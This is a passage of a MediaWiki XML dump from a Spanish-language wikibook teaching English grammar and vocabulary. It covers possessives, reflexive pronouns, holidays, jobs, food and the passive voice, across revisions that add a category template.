*'''Pronombres posesivos [http://www.youtube.com/watch?v=ZPsODvYOkfU Escuchar]'''

*MINE, el mío, la mía, los míos, las mias
*YOURS, el tuyo, la tuya, los tuyos, las tuyas; el suyo, la suya (de usted), los suyos, las suyas (de ustedes)
*HIS, el suyo, la suya, los suyos, las suyas; masculino
*HERS, el suyo, la suya, los suyos, las suyas; femenino
*ITS, el suyo, la suya, los suyos, las suyas; neutro
*OURS, el nuestro, la nuestra, los nuestros, las nuestras
*YOURS, el vuestro, la vuestra, los vuestros, las vuestras; el suyo, la suya, los suyos, las suyas (de ustedes)
*THEIRS, el suyo, la suya, los suyos, las suyas (de ellos, de ellas)

*Si usted no está muy fuerte en Gramática, podrá clasificar como pronombre posesivo - sin confundirlo con el adjetivo de igual clase- todo aquel que vaya precedido o seguido de un verbo.

*Ejemplos: '''This house is mine - This hand-bag is hers.'''

*Los adjetivos posesivos, por el contrario, preceden al nombre: '''It is my book'''. Para utilizar el pronombre, ha de decirse '''This book is mine...'''


*el mío; '''MINE'''
*la mía; '''MINE'''
*los míos; '''MINE'''
*las mías; '''MINE'''

*el nuestro; '''OURS'''
*la nuestra; '''OURS'''
*los nuestros; '''OURS'''
*las nuestras; '''OURS'''

*el tuyo; '''YOURS''' (de usted)
*la tuya; '''YOURS'''
*los tuyos; '''YOURS'''
*las tuyas; '''YOURS'''

*el vuestro; '''YOURS''' (de ustedes)
*la vuestra; '''YOURS''' 
*los vuestos; '''YOURS'''
*las vuestras; '''YOURS'''

*el suyo; '''HIS''' (de él)
*la suya; '''HERS''' (de ella)

*los suyos; '''ITS''' (de animal o cosa)
*las suyas; '''ITS''' -en desuso-

*el suyo; '''THEIRS''' (de ellos)
*la suya; '''THEIRS''' (de ellas)
*los suyos; '''THEIRS'''
*las suyas; '''THEIRS'''


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>1otuampmg9u9g9h3eycvjtzv6zsx2t3</sha1>
    </revision>
    <revision>
      <id>429910</id>
      <parentid>429825</parentid>
      <timestamp>2026-08-01T22:09:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429910</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2123" sha1="hx5u7vft9dez6ppbn8qo51wvwixzkhx" xml:space="preserve">===Pronombres posesivos===

*'''Adjetivos posesivos [http://www.youtube.com/watch?v=wcDl5xR0DOo Escuchar]'''

*MY, mi, mis
*YOUR, tu, tus, su (de usted), sus (de ustedes)
*HIS, su, sus; masculino (de él)
*HER, su, sus; femenino (de ella)
*ITS, su, sus; neutro (de ello)
*OUR, nuestro, nuestra, nuestros, nuestras
*YOUR, vuestro, vuestra, su, sus (de ustedes)
*THEIR, su, sus (de ellos)


*'''Pronombres posesivos [http://www.youtube.com/watch?v=ZPsODvYOkfU Escuchar]'''

*MINE, el mío, la mía, los míos, las mias
*YOURS, el tuyo, la tuya, los tuyos, las tuyas; el suyo, la suya (de usted), los suyos, las suyas (de ustedes)
*HIS, el suyo, la suya, los suyos, las suyas; masculino
*HERS, el suyo, la suya, los suyos, las suyas; femenino
*ITS, el suyo, la suya, los suyos, las suyas; neutro
*OURS, el nuestro, la nuestra, los nuestros, las nuestras
*YOURS, el vuestro, la vuestra, los vuestros, las vuestras; el suyo, la suya, los suyos, las suyas (de ustedes)
*THEIRS, el suyo, la suya, los suyos, las suyas (de ellos, de ellas)

*Si usted no está muy fuerte en Gramática, podrá clasificar como pronombre posesivo - sin confundirlo con el adjetivo de igual clase- todo aquel que vaya precedido o seguido de un verbo.

*Ejemplos: '''This house is mine - This hand-bag is hers.'''

*Los adjetivos posesivos, por el contrario, preceden al nombre: '''It is my book'''. Para utilizar el pronombre, ha de decirse '''This book is mine...'''


*el mío; '''MINE'''
*la mía; '''MINE'''
*los míos; '''MINE'''
*las mías; '''MINE'''

*el nuestro; '''OURS'''
*la nuestra; '''OURS'''
*los nuestros; '''OURS'''
*las nuestras; '''OURS'''

*el tuyo; '''YOURS''' (de usted)
*la tuya; '''YOURS'''
*los tuyos; '''YOURS'''
*las tuyas; '''YOURS'''

*el vuestro; '''YOURS''' (de ustedes)
*la vuestra; '''YOURS''' 
*los vuestos; '''YOURS'''
*las vuestras; '''YOURS'''

*el suyo; '''HIS''' (de él)
*la suya; '''HERS''' (de ella)

*los suyos; '''ITS''' (de animal o cosa)
*las suyas; '''ITS''' -en desuso-

*el suyo; '''THEIRS''' (de ellos)
*la suya; '''THEIRS''' (de ellas)
*los suyos; '''THEIRS'''
*las suyas; '''THEIRS'''


{{AutoCat}}</text>
      <sha1>hx5u7vft9dez6ppbn8qo51wvwixzkhx</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Adjetivos posesivos</title>
    <ns>0</ns>
    <id>12854</id>
    <revision>
      <id>429795</id>
      <parentid>352558</parentid>
      <timestamp>2026-08-01T21:59:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429795</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1045" sha1="tw8z552fwg4iywpd2kw31epfihsa6s9" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
*'''MY:'''    mi, mis
:*ejemplo: ''That's '''my''' watch / Ese es mi reloj''
*'''YOUR:'''  tu, tus, su (de usted), sus (de ustedes)
:*ejemplo: ''I like '''your''' shoes / Me gustan tus zapatos''
*'''HIS:'''   su, sus; masculino (de él)
:*ejemplo: ''This is '''his''' tie / Ésta es su corbata''
*'''HER:''':   su, sus; femenino (de ella)
:*ejemplo: ''She's broke '''her''' arm. / Ella se ha roto el brazo''
*'''ITS:''':   su, sus; neutro (de ello)
:*ejemplo: ''The cup is in '''its''' place/ La taza está en su lugar''
*'''OUR:'''   nuestro, nuestra, nuestros, nuestras
:*ejemplo: '''''Our''' house is in the center of the city / Nuestra casa está en el centro de la ciudad''
*'''YOUR:'''  vuestro, vuestra, su, sus, (de ustedes)
:*ejemplo: '''''Your''' flight is about to take off / Vuestro vuelo esta por despegar''
*'''THEIR:''': su, sus, (de ellos).
:*ejemplo: ''What colour is '''their''' book? / ¿De qué color es su libro?''


[http://www.youtube.com/watch?v=S_9P29rWBlw Audio]

{{AutoCat}}</text>
      <sha1>tw8z552fwg4iywpd2kw31epfihsa6s9</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Pronombres reflexivos</title>
    <ns>0</ns>
    <id>12889</id>
    <revision>
      <id>429826</id>
      <parentid>394957</parentid>
      <timestamp>2026-08-01T22:02:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429826</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1063" sha1="rx2c8vg029jmognb7czo3db6nyrlshx" xml:space="preserve">===Pronombres reflexivos===

*No es lo mismo ''lavar'' que ''lavarse''.

*Aqui entran en juego los ''pronombres en sentido reflexivo'' para mostrar que la persona se hace algo '''a sí misma'''.

*Los pronombres reflexivos ingleses son los siguientes:

*'''Myself''' (me)
*'''Yourself''' (te)
*'''Himself''' (se) masculino
*'''Herself''' (se) femenino

*'''Itself''' (se) neutro
*'''Ourselves''' (nos)
*'''Yourselves''' (os)
*'''Themselves''' (se)


*Si decimos

*'''I wrote this letter to the teacher''' (Yo escribí, esta carta al profesor)

*no hacemos más que sentar un hecho cierto, una afirmación. Per sí la expresamos de esta otra manera:

*'''I myself wrote this letter to the teacher''' (Yo '''mismo''' escribí esta carta ha asegurado usted que es el autor). 

*Tenga en cuenta que no siempre coinciden los verbos reflexivos ingleses con los españoles y que, por tanto, los pronombres reflexivos ingleses sólo han de usarse '''cuando la acción que expresa el verbo se realiza en uno mismo'''.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>rx2c8vg029jmognb7czo3db6nyrlshx</sha1>
    </revision>
    <revision>
      <id>429913</id>
      <parentid>429826</parentid>
      <timestamp>2026-08-01T22:09:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429913</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1023" sha1="pzikz8c56a7irhcpxeqkm6cetvbbzma" xml:space="preserve">===Pronombres reflexivos===

*No es lo mismo ''lavar'' que ''lavarse''.

*Aqui entran en juego los ''pronombres en sentido reflexivo'' para mostrar que la persona se hace algo '''a sí misma'''.

*Los pronombres reflexivos ingleses son los siguientes:

*'''Myself''' (me)
*'''Yourself''' (te)
*'''Himself''' (se) masculino
*'''Herself''' (se) femenino

*'''Itself''' (se) neutro
*'''Ourselves''' (nos)
*'''Yourselves''' (os)
*'''Themselves''' (se)


*Si decimos

*'''I wrote this letter to the teacher''' (Yo escribí, esta carta al profesor)

*no hacemos más que sentar un hecho cierto, una afirmación. Per sí la expresamos de esta otra manera:

*'''I myself wrote this letter to the teacher''' (Yo '''mismo''' escribí esta carta ha asegurado usted que es el autor). 

*Tenga en cuenta que no siempre coinciden los verbos reflexivos ingleses con los españoles y que, por tanto, los pronombres reflexivos ingleses sólo han de usarse '''cuando la acción que expresa el verbo se realiza en uno mismo'''.


{{AutoCat}}</text>
      <sha1>pzikz8c56a7irhcpxeqkm6cetvbbzma</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Adjetivos determinados</title>
    <ns>0</ns>
    <id>12965</id>
    <revision>
      <id>429794</id>
      <parentid>408546</parentid>
      <timestamp>2026-08-01T21:59:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429794</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="659" sha1="ktrmwdxa6n0v2rev93uhkjv2fxih0r2" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;

== RIGHT-WRONG == 

Tanto '''right''' como '''wrong''', como voces sueltas, son adjetivos ingleses. Se usan para determinar algo en relación con el sustantivo al que preceden.

*Ejemplos:

:*'''He took the wrong street''' (Se equivocó de calle. (Tomó la calle equivocada)).
:*'''Give the right answer to this question''' (Dé la respuesta correcta (cierta) a esta pregunta).
:*'''This is the right thing to do''' (Esto es lo adecuado (lo que ha de hacerse, la cosa correcta a hacer).
:*'''The postman knocked at the wrong door''' (El cartero se equivocó de puerta (llamó a la puerta equivocada)).

{{AutoCat}}</text>
      <sha1>ktrmwdxa6n0v2rev93uhkjv2fxih0r2</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Festivos</title>
    <ns>0</ns>
    <id>13101</id>
    <revision>
      <id>429845</id>
      <parentid>164772</parentid>
      <timestamp>2026-08-01T22:04:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429845</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1701" sha1="1cniho2gbvrnvnq1n2xahs4p6vaz5vo" xml:space="preserve">===Festivos===

*Los ingleses tienen dos tipos de fiestas: las propiamente religiosas y las llamadas '''Bank Holidays'''.

*Las '''Bank Holidays''' fueron establecidas por los Bancos hace ya muchos años, en aquellos tiempos en que los vasallos trabajaban de sol a sol y día tras día en tanto que los cortesanos contemplaban la luna y hablaban de amor con sus damas. Así que el Comercio -así con mayúscula- se sintió seguro y bien asentado, se permitió la osadía de cerrar algunos días al año... y precisamente durante el día laborable siguiente o anterior al festivo podríamos decir obligatorio, el domingo. De ahí procede el término '''week-end''' (fin de semana).


*'''BANK HOLIDAYS'''

*'''Christmas Day''' (Día de Navidad)
*'''Boxing Day''' (San Esteban)
*'''Easter Monday''' (Lunes de Pascua)
*'''Whit Monday''' (Lunes de Pentecostés)
*'''First Monday in August''' (Primer lunes de agosto)


*'''RELIGIOUS FEASTS'''

*'''Christmas Eve''' (Nochebuena)
*'''New Year´s Day''' (Año Nuevo)
*'''Candlemas''' (Candelaría)
*'''Ash Wednesday''' (Miércoles de Ceniza)
*'''Maunday Thursday''' (Jueves Santo)
*'''Good Friday''' (Viernes Santo)
*'''Holy Saturday''' (Sábado de Gloria)
*'''Easter Sunday''' (Domingo de Pascua de Resurrección)
*'''Whit Sunday''' (Domingo de Pentecostés)
*'''Corpus Christi''' (Corpus Chriti)
*'''The Ascensión''' (La Ascensión)
*'''The Assumption''' (La Asunción)


*'''RELIGIOUS SEASONS'''

*'''Advent''' (Adviento)
*'''Christmas''' (Navidad'''
*'''Lent''' (Cuaresma)
*'''Holy Week''' (Semana Santa)
*'''Easter''' (Pascua Florida (Resurrección))
*'''Whitsun''' (Pascua Granada (Pentecostés))


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>1cniho2gbvrnvnq1n2xahs4p6vaz5vo</sha1>
    </revision>
    <revision>
      <id>429887</id>
      <parentid>429845</parentid>
      <timestamp>2026-08-01T22:09:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429887</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1661" sha1="l5slquxrex869x0v62fnxyktaq8ru1x" xml:space="preserve">===Festivos===

*Los ingleses tienen dos tipos de fiestas: las propiamente religiosas y las llamadas '''Bank Holidays'''.

*Las '''Bank Holidays''' fueron establecidas por los Bancos hace ya muchos años, en aquellos tiempos en que los vasallos trabajaban de sol a sol y día tras día en tanto que los cortesanos contemplaban la luna y hablaban de amor con sus damas. Así que el Comercio -así con mayúscula- se sintió seguro y bien asentado, se permitió la osadía de cerrar algunos días al año... y precisamente durante el día laborable siguiente o anterior al festivo podríamos decir obligatorio, el domingo. De ahí procede el término '''week-end''' (fin de semana).


*'''BANK HOLIDAYS'''

*'''Christmas Day''' (Día de Navidad)
*'''Boxing Day''' (San Esteban)
*'''Easter Monday''' (Lunes de Pascua)
*'''Whit Monday''' (Lunes de Pentecostés)
*'''First Monday in August''' (Primer lunes de agosto)


*'''RELIGIOUS FEASTS'''

*'''Christmas Eve''' (Nochebuena)
*'''New Year´s Day''' (Año Nuevo)
*'''Candlemas''' (Candelaría)
*'''Ash Wednesday''' (Miércoles de Ceniza)
*'''Maunday Thursday''' (Jueves Santo)
*'''Good Friday''' (Viernes Santo)
*'''Holy Saturday''' (Sábado de Gloria)
*'''Easter Sunday''' (Domingo de Pascua de Resurrección)
*'''Whit Sunday''' (Domingo de Pentecostés)
*'''Corpus Christi''' (Corpus Chriti)
*'''The Ascensión''' (La Ascensión)
*'''The Assumption''' (La Asunción)


*'''RELIGIOUS SEASONS'''

*'''Advent''' (Adviento)
*'''Christmas''' (Navidad'''
*'''Lent''' (Cuaresma)
*'''Holy Week''' (Semana Santa)
*'''Easter''' (Pascua Florida (Resurrección))
*'''Whitsun''' (Pascua Granada (Pentecostés))


{{AutoCat}}</text>
      <sha1>l5slquxrex869x0v62fnxyktaq8ru1x</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Los oficios</title>
    <ns>0</ns>
    <id>13109</id>
    <revision>
      <id>429848</id>
      <parentid>341220</parentid>
      <timestamp>2026-08-01T22:04:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429848</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1606" sha1="9jrvo3hyv7w8wp0mcdsinwiefxdyxnl" xml:space="preserve">== THE JOBS - LOS OFICIOS ==

{| class=wikitable sortable&quot; border=&quot;1&quot;
|-
!Inglés||Español
|-
|waiter/waitress||camarero/a                                                           
|-
|chef||cocinero
|-
|consultant||consultor
|-
|farmer||granjero
|-
|baker||panadero
|-
|barber||barbero
|-
|hairdresser||peluquero/a
|-
|butcher||carnicero
|-
|fishmonger||pescador
|-
|fisherman/women||pescador/a
|-
|greengrocer||verdulera
|-
|confectioner||pastelero/confitero
|-
|police officer||policía
|-
|policeman||policía
|-
|firefighter||bombero
|-
|soldier||soldado
|-
|guard||guardia
|-
|dustman||basurero
|-
|gardener||jardinero/a
|-
|cleaner||encargado/a de limpieza
|-
|plumber||fontanero/a, plomero/a
|-
|mechanic||mecánico
|-
|electrician||electricista
|-
|worker||obrero/a, trabajador/a
|-
|bricklayer||albañil
|-
|engineer||ingeniero/a
|-
|teacher||profesor/a
|-
|director||director/a
|-
|driver||conductor
|-
|taxi-driver||taxista
|-
|designer||diseñador/a
|-
|actor/actress||actor/actriz
|-
|model||modelo
|-
|singer||cantante
|-
|musician||músico
|-
|magician||mago/a
|-
|clown||payaso
|-
|comedian||humorista
|-
|photographer||fotógrafo/a
|-
|writer||escritor/a
|-
|videogames tester||probador de videojuegos
|-
|dairyman/women||lechero/a
|-
|journalist||periodista
|-
|nurse||enfermera/o
|-
|tailor||sastre
|-
|bullfighter||torero
|-
|secretary||secretaria/o
|-
|shoemaker||zapatero
|-
|servant||criado/a
|-
|lorry driver||camionero
|-
|bartender/barman||cantinero/o
|-
|chef||jefe de cocina 
|- 
|chemist||químico 
|-
|dentist||dentista


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>9jrvo3hyv7w8wp0mcdsinwiefxdyxnl</sha1>
    </revision>
    <revision>
      <id>429898</id>
      <parentid>429848</parentid>
      <timestamp>2026-08-01T22:09:09Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429898</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1566" sha1="azgb3pcq169j9jj3fcqhlpsd6lydpk4" xml:space="preserve">== THE JOBS - LOS OFICIOS ==

{| class=wikitable sortable&quot; border=&quot;1&quot;
|-
!Inglés||Español
|-
|waiter/waitress||camarero/a                                                           
|-
|chef||cocinero
|-
|consultant||consultor
|-
|farmer||granjero
|-
|baker||panadero
|-
|barber||barbero
|-
|hairdresser||peluquero/a
|-
|butcher||carnicero
|-
|fishmonger||pescador
|-
|fisherman/women||pescador/a
|-
|greengrocer||verdulera
|-
|confectioner||pastelero/confitero
|-
|police officer||policía
|-
|policeman||policía
|-
|firefighter||bombero
|-
|soldier||soldado
|-
|guard||guardia
|-
|dustman||basurero
|-
|gardener||jardinero/a
|-
|cleaner||encargado/a de limpieza
|-
|plumber||fontanero/a, plomero/a
|-
|mechanic||mecánico
|-
|electrician||electricista
|-
|worker||obrero/a, trabajador/a
|-
|bricklayer||albañil
|-
|engineer||ingeniero/a
|-
|teacher||profesor/a
|-
|director||director/a
|-
|driver||conductor
|-
|taxi-driver||taxista
|-
|designer||diseñador/a
|-
|actor/actress||actor/actriz
|-
|model||modelo
|-
|singer||cantante
|-
|musician||músico
|-
|magician||mago/a
|-
|clown||payaso
|-
|comedian||humorista
|-
|photographer||fotógrafo/a
|-
|writer||escritor/a
|-
|videogames tester||probador de videojuegos
|-
|dairyman/women||lechero/a
|-
|journalist||periodista
|-
|nurse||enfermera/o
|-
|tailor||sastre
|-
|bullfighter||torero
|-
|secretary||secretaria/o
|-
|shoemaker||zapatero
|-
|servant||criado/a
|-
|lorry driver||camionero
|-
|bartender/barman||cantinero/o
|-
|chef||jefe de cocina 
|- 
|chemist||químico 
|-
|dentist||dentista


{{AutoCat}}</text>
      <sha1>azgb3pcq169j9jj3fcqhlpsd6lydpk4</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/La comida</title>
    <ns>0</ns>
    <id>13118</id>
    <revision>
      <id>429846</id>
      <parentid>412624</parentid>
      <timestamp>2026-08-01T22:04:39Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429846</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1374" sha1="6y76px0m9qo0sbw36fi44zbvb7yjhur" xml:space="preserve">== Drinks - Bebidas ==
[http://www.youtube.com/watch?v=derSYupQ5NY Audio] 
{| border=&quot;1&quot;
!Inglés
!Español
|-
|water 
|agua
|-
|milk
|leche
|-
|milkshake
|batido
|-
|coffee 
|café
|-
|white coffee
|café con leche
|-
|black coffee
|café solo
|-
|tea
|té
|-
|juice 
|zumo
|-
|soda
|refresco
|-
|beer
|cerveza
|-
|wine
|vino
|-
|FRUITS
|FRUTAS
|-
|orange 
|naranja
|-
|watermelon
|sandia
|-
|grapes
|uvas
|-
|strawberry
|fresa
|-
|apple
|manzana
|-
|banana 
|platano
|-
|avocado
|aguacate
|-
|pear
|pera
|-
|peach
|melocoton
|-
|pineapple
|piña
|-
|coconut
|coco
|-
|lemon
|limón
|-
|VEGETABLES
|VERDURAS
|-
|lettuce
|lechuga
|-
|tomato
|tomate
|-
|carrot
|zanahoria
|-
|onion
|cebolla
|-
|garlic
|ajo
|-
|cucumber 
|pepino
|-
|asparagus
|espárrago
|-
|aubergine
|berenjena
|-
|spinach
|espinacas
|-
|beet
|remolacha
|-
|cabbage
|col
|-
|cauliflower
|coliflor
|-
|peas
|guisantes, arvejas
|-
|pumpkin
|calabaza
|-
|beans
|habichuelas, porotos
|-
|potatoes
|patatas
|-
|artichoke
|alcachofa
|-
|corn
|maíz
|-
|potato
|papa
|-
|broccoli
|brocoli
|-
|salad
|ensalada
|-
|cake
|tarta
|-
|paella
|paella
|-
|papaya
|papaya
|-
|mango
|mango
|-
|fig
|higo
|-
|olive
|aceituna
|-
|almond
|almendra
|-
|chestnut
|castaña
|-
|walnut
|nuez
|-
|pomegrade
|granada
|-
|kiwi
|kiwi
|-
|raisin
|pasa
|-
|medlar
|nispero
|-
|

[[Categoría:Inglés|Vocabulario/La comida]]

{{AutoCat}}</text>
      <sha1>6y76px0m9qo0sbw36fi44zbvb7yjhur</sha1>
    </revision>
    <revision>
      <id>429931</id>
      <parentid>429846</parentid>
      <timestamp>2026-08-01T22:09:18Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429931</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1328" sha1="hsh31a7cc96m74j33djay9znrf65y42" xml:space="preserve">== Drinks - Bebidas ==
[http://www.youtube.com/watch?v=derSYupQ5NY Audio] 
{| border=&quot;1&quot;
!Inglés
!Español
|-
|water 
|agua
|-
|milk
|leche
|-
|milkshake
|batido
|-
|coffee 
|café
|-
|white coffee
|café con leche
|-
|black coffee
|café solo
|-
|tea
|té
|-
|juice 
|zumo
|-
|soda
|refresco
|-
|beer
|cerveza
|-
|wine
|vino
|-
|FRUITS
|FRUTAS
|-
|orange 
|naranja
|-
|watermelon
|sandia
|-
|grapes
|uvas
|-
|strawberry
|fresa
|-
|apple
|manzana
|-
|banana 
|platano
|-
|avocado
|aguacate
|-
|pear
|pera
|-
|peach
|melocoton
|-
|pineapple
|piña
|-
|coconut
|coco
|-
|lemon
|limón
|-
|VEGETABLES
|VERDURAS
|-
|lettuce
|lechuga
|-
|tomato
|tomate
|-
|carrot
|zanahoria
|-
|onion
|cebolla
|-
|garlic
|ajo
|-
|cucumber 
|pepino
|-
|asparagus
|espárrago
|-
|aubergine
|berenjena
|-
|spinach
|espinacas
|-
|beet
|remolacha
|-
|cabbage
|col
|-
|cauliflower
|coliflor
|-
|peas
|guisantes, arvejas
|-
|pumpkin
|calabaza
|-
|beans
|habichuelas, porotos
|-
|potatoes
|patatas
|-
|artichoke
|alcachofa
|-
|corn
|maíz
|-
|potato
|papa
|-
|broccoli
|brocoli
|-
|salad
|ensalada
|-
|cake
|tarta
|-
|paella
|paella
|-
|papaya
|papaya
|-
|mango
|mango
|-
|fig
|higo
|-
|olive
|aceituna
|-
|almond
|almendra
|-
|chestnut
|castaña
|-
|walnut
|nuez
|-
|pomegrade
|granada
|-
|kiwi
|kiwi
|-
|raisin
|pasa
|-
|medlar
|nispero
|-
|

{{AutoCat}}</text>
      <sha1>hsh31a7cc96m74j33djay9znrf65y42</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Verbos transitivos e intransitivos</title>
    <ns>0</ns>
    <id>13129</id>
    <revision>
      <id>429859</id>
      <parentid>164802</parentid>
      <timestamp>2026-08-01T22:05:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429859</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="557" sha1="5e86134z6v86b4wdm16j9p5pfyu9ftj" xml:space="preserve">'''Verbos transitivos e intransitivos'''

*Cuando la acción que expresa el verbo pasa del sujeto al objeto que la recibe, se dice que el verbo es ''transitivo''.

*Ejemplo: '''The pupil is writing a letter''' (La acción de escribir recae sobre la '''carta.''')

*Cuando la acción expresada por el verbo ''no se mueve'' del sujeto'' que la ejecuta se dice que este verbo es ''intransitivo''.

*Ejemplo: '''The pupil walks every day''' (La acción de ''caminar'' o ''pasear'' se realiza en uno mismo.)


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>5e86134z6v86b4wdm16j9p5pfyu9ftj</sha1>
    </revision>
    <revision>
      <id>429925</id>
      <parentid>429859</parentid>
      <timestamp>2026-08-01T22:09:17Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429925</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="517" sha1="e982bfuqay7ert02oq8ytyur2hsa48r" xml:space="preserve">'''Verbos transitivos e intransitivos'''

*Cuando la acción que expresa el verbo pasa del sujeto al objeto que la recibe, se dice que el verbo es ''transitivo''.

*Ejemplo: '''The pupil is writing a letter''' (La acción de escribir recae sobre la '''carta.''')

*Cuando la acción expresada por el verbo ''no se mueve'' del sujeto'' que la ejecuta se dice que este verbo es ''intransitivo''.

*Ejemplo: '''The pupil walks every day''' (La acción de ''caminar'' o ''pasear'' se realiza en uno mismo.)


{{AutoCat}}</text>
      <sha1>e982bfuqay7ert02oq8ytyur2hsa48r</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Verbos en sus formas activa y pasiva</title>
    <ns>0</ns>
    <id>13130</id>
    <revision>
      <id>429810</id>
      <parentid>364060</parentid>
      <timestamp>2026-08-01T22:00:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429810</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1277" sha1="9sutv3hqan3nwbpjlfnl9beqonk6oei" xml:space="preserve">'''Verbos en sus formas activa y pasiva'''


*Cuando el sujeto es quien '''realiza''' la acción expresada por el verbo, se dice que éste está en ''voz activa''.

*Ejemplos:

*'''I have eaten apples''' (Yo he comido manzanas)
*'''I eat apples''' (Yo como manzanas)
*'''I shall eat apples''' (Yo comeré manzanas)

*Cuando es el sujeto quien '''recibe''' o '''sufre''' la acción expresada por el verbo, se dice que éste está en ''voz pasiva''.

*Ejemplos:

*'''Voz activa'''

*'''I have eaten apples''' (Yo he comido manzanas)
*'''I eat apples''' (Yo como manzanas)

*'''Voz pasiva'''

*'''The apples have been eaten by me''' (Las manzanas han sido comidas por mi)
*'''The apples are eaten by me''' (Las manzanas son comidas por mi)
*'''The apples will be eaten by me''' (Las manzanas serán comidas por mi)


*Para formar la ''voz pasiva'' de cualquier verbo se necesita el auxiliar '''to be''' en el modo, tiempo y persona que corresponda, seguido del participio pasado del verbo que hemos de expresar.

*Asimismo, lo que en la ''voz activa'' era el sujeto pasa a ser complemento, en tanto que lo que era complemento del verbo pasa a ser sujeto. El sujeto convertido en complemento requiere la preposición '''by'''.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>9sutv3hqan3nwbpjlfnl9beqonk6oei</sha1>
    </revision>
    <revision>
      <id>429922</id>
      <parentid>429810</parentid>
      <timestamp>2026-08-01T22:09:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429922</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1237" sha1="a51e5tth9f6kcp9scehmju07dj8ra36" xml:space="preserve">'''Verbos en sus formas activa y pasiva'''


*Cuando el sujeto es quien '''realiza''' la acción expresada por el verbo, se dice que éste está en ''voz activa''.

*Ejemplos:

*'''I have eaten apples''' (Yo he comido manzanas)
*'''I eat apples''' (Yo como manzanas)
*'''I shall eat apples''' (Yo comeré manzanas)

*Cuando es el sujeto quien '''recibe''' o '''sufre''' la acción expresada por el verbo, se dice que éste está en ''voz pasiva''.

*Ejemplos:

*'''Voz activa'''

*'''I have eaten apples''' (Yo he comido manzanas)
